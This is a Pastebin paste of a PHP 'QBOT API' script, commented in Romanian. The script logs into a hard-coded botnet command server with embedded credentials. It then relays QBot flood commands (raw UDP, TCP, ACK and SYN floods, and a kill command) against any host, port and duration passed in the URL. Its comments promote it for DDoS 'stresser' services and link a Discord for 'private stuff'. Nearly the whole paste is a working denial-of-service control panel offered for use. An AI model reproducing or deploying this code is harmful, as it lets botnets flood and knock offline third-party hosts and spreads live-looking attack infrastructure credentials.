Advertisement
xB4ckdoorREAL

[PHP] QBOT API

Feb 8th, 2019
1,502
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.18 KB | None | 0 0
  1. <?php
  2.  
  3. //Join my discord for private stuff.: https://discord.gg/PTW3yPp
  4.  
  5. //You can use your botnet for stressers/tools.
  6.  
  7. if ($_GET['qbot'] != "gsdKBG@#$"){
  8.  
  9. die("Sau nu.");
  10.  
  11. }
  12.  
  13.  
  14.  
  15.     //Conectare la server.
  16.  
  17.         $socket = fsockopen("199.180.113.5", 10);
  18.  
  19.         ($socket ? null : die("Nu ma pot conecta."));
  20.  
  21.         fwrite($socket, "api\n"); //user
  22.  
  23.         fwrite($socket, "kyscunt934\n"); //parola
  24.  
  25.        
  26.  
  27.    
  28.  
  29.         $port = (int)$_GET['port'] > 0 && (int)$_GET['port'] < 65536 ? $_GET['port'] : 80;
  30.  
  31.         $port = preg_replace('/\D/', '', $port);
  32.  
  33.         $ip = preg_match('/^[a-zA-Z0-9\.-_]+$/', $_GET['host']) ? $_GET['host'] : die();
  34.  
  35.         $time = (int)$_GET['time'] > 0 && (int)$_GET['time'] < (60*60) ? (int)$_GET['time'] : 30;
  36.  
  37.         $time = preg_replace('/\D/', '', $time);
  38.  
  39.         $domain = $_GET['host'];
  40.  
  41.         if(!filter_var($domain, FILTER_VALIDATE_URL) && !filter_var($domain, FILTER_VALIDATE_IP))
  42.  
  43.         {
  44.  
  45.             die("Invalid Domain");
  46.  
  47.         }      
  48.  
  49.        
  50.  
  51.     //Executarea metodelor de flood.  
  52.  
  53.         if($_GET['method'] == "RAWUDP") {  fwrite($socket, "!* UDP {$ip} {$port} {$time} 32 1024 1\n");                //Raw UDP
  54.  
  55.             echo 'Attacking ' . $ip . ' ' . $port . ' ' . $time . ' with UDP'; }
  56.  
  57.         elseif($_GET['method'] == "RAWTCP") { fwrite($socket, "!* TCP {$ip} {$port} {$time} 32 all 1024 1\n");           //Raw TCP
  58.  
  59.             echo 'Attacking ' . $ip . ' ' . $port . ' ' . $time . ' with TCP'; }
  60.  
  61.         elseif($_GET['method'] == "ACK") { fwrite($socket, "!* TCP {$ip} {$port} {$time} 32 ack 1024 1\n");           //Raw ACK
  62.  
  63.             echo 'Attacking ' . $ip . ' ' . $port . ' ' . $time . ' with ACK'; }
  64.  
  65.         elseif($_GET['method'] == "SYN") { fwrite($socket, "!* TCP {$ip} {$port} {$time} 32 syn 1024 1\n");           //Raw SYN
  66.  
  67.             echo 'Attacking ' . $ip . ' ' . $port . ' ' . $time . ' with ACK'; }           
  68.  
  69.         elseif($_GET['method'] == "KILL") { fwrite($socket, "!* KILLATTK\n");                                       //STOP ALL ATTACKS RUNNING
  70.  
  71.             echo 'Attack stopped.';  }
  72.  
  73.        
  74.  
  75.        
  76.  
  77.        
  78.  
  79.        
  80.  
  81.         fclose($socket);
  82.  
  83.  
  84.  
  85.  
  86.  
  87. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement